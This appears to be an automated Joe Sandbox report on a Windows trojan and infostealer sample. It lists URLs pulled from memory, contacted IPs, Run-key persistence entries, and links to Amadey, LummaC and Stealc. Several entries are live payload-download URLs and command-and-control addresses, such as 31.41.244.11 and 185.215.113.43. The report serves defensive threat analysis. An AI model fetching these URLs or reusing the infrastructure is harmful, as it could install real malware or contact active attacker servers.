https://anglebug.com/7246	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?q=	chrome.exe, 00000013.00000002.3185700742.00007D0C00BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3170793230.00007D0C00694000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 00000013.00000003.2918431641.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	chrome.exe, 00000013.00000003.2913726292.00007D0C00484000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000013.00000003.2925259658.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926155602.00007D0C010F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925792947.00007D0C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167178718.00007D0C00488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923947069.00007D0C01078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923982554.00007D0C00F44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925442385.00007D0C00F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923574427.00007D0C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3177863723.00007D0C0094F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925325168.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926507014.00007D0C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2924712128.00007D0C01044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925211231.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923861414.00007D0C0101C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000013.00000002.3186101163.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918464134.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2922124317.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en0	chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2831765157.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2831892590.0000000005499000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	39c228201d.exe, 00000011.00000003.2894979822.0000000005490000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	39c228201d.exe, 00000011.00000003.2831765157.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2831892590.0000000005499000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	chrome.exe, 00000013.00000003.2913726292.00007D0C00484000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 0000000C.00000002.3274355921.0000000001872000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.google.com/	chrome.exe, 00000013.00000003.2913726292.00007D0C00484000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.ico	chrome.exe, 00000013.00000002.3185700742.00007D0C00BE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000013.00000002.3173491123.00007D0C00734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3246099583.00007D0C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925667216.00007D0C00EE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167486165.00007D0C004F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000013.00000002.3186325135.00007D0C00C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167247234.00007D0C00490000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3177169725.00007D0C008E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3171083113.00007D0C006A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://httpbin.org/ipbefore	67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000003.2706867228.00000000078DE000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/ta	d88d6966da.exe, 00000012.00000002.2933206757.00000000014CA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz:443/api%appdata%	39c228201d.exe, 00000011.00000003.2867578340.0000000000C98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2912533444.00007D0C001C8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://developer.chrome.com/extensions/external_extensions.html)	chrome.exe, 00000013.00000002.3163103770.00007D0C00134000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000013.00000002.3173491123.00007D0C00734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167486165.00007D0C004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3247725518.00007D0C01080000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 0000000C.00000002.3274355921.000000000183D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 0000000C.00000002.3274355921.0000000001872000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	chrome.exe, 00000013.00000002.3163309841.00007D0C0018C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-preprod.corp.google.com/	chrome.exe, 00000013.00000003.2913726292.00007D0C00484000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	39c228201d.exe, 00000011.00000003.2832594144.0000000005482000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	39c228201d.exe, 00000014.00000002.3276938516.000000000152F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://clients4.google.com/chrome-sync	chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000003.2706867228.00000000078DE000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	false		high
http://unisolated.invalid/a	chrome.exe, 00000013.00000002.3179243559.00007D0C00988000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/J	chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3166080781.00007D0C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000013.00000003.2927718061.00007D0C00CA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926288171.00007D0C00338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3164642067.00007D0C00318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2920093802.00007D0C00C9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918613167.00007D0C00D30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186958131.00007D0C00C9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918656333.00007D0C00CA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3175667139.00007D0C00870000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2922036487.00007D0C00F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2924753918.00007D0C00CA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2921963680.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918431641.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000013.00000002.3186101163.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918464134.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2922124317.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpi	file.exe, 00000000.00000002.2150479911.00000000234C2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.css	67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000003.2706867228.00000000078DE000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	false		high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000013.00000002.3185700742.00007D0C00BE0000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.165.166	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
142.250.181.110	plus.l.google.com	United States	15169	GOOGLEUS	false
34.118.84.150	home.twentykx20pt.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
18.213.123.165	httpbin.org	United States	14618	AMAZON-AESUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.156.72.65	unknown	Russian Federation	44636	ITDELUXE-ASRU	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565611
Start date and time:	2024-11-30 09:43:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@49/52@80/13
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 64.233.165.84, 172.217.19.238, 216.58.208.227, 34.104.35.123, 172.217.21.35, 216.58.208.234, 172.217.19.234, 142.250.181.74, 172.217.19.202, 142.250.181.138, 142.250.181.106, 172.217.17.74, 172.217.19.170, 172.217.21.42, 172.217.17.42, 23.32.238.121, 192.229.221.95, 52.32.237.164, 34.209.229.249, 52.27.142.243
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com, location.services.mozilla.com
Execution Graph export aborted for target FCFBFHIEBK.exe, PID 7840 because it is empty
Execution Graph export aborted for target file.exe, PID 6964 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 736 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7672 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:44:26	API Interceptor	62x Sleep call for process: file.exe modified
03:45:00	API Interceptor	1098278x Sleep call for process: skotes.exe modified
03:45:47	API Interceptor	342933x Sleep call for process: 67d914dff5.exe modified
03:45:49	API Interceptor	10x Sleep call for process: 39c228201d.exe modified
03:45:56	API Interceptor	56023x Sleep call for process: adebfeb535.exe modified
08:44:40	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
08:45:52	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 39c228201d.exe C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe
08:46:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d88d6966da.exe C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe
08:46:08	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b081bb79ae.exe C:\Users\user\AppData\Local\Temp\1010575001\b081bb79ae.exe
08:46:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 39c228201d.exe C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe
08:46:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d88d6966da.exe C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe
08:46:34	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b081bb79ae.exe C:\Users\user\AppData\Local\Temp\1010575001\b081bb79ae.exe
08:46:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1afc2fdbc4.exe C:\Users\user\AppData\Local\Temp\1010576001\1afc2fdbc4.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
prod.content-signature-chains.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
contile.services.mozilla.com	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
us-west1.prod.sumo.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
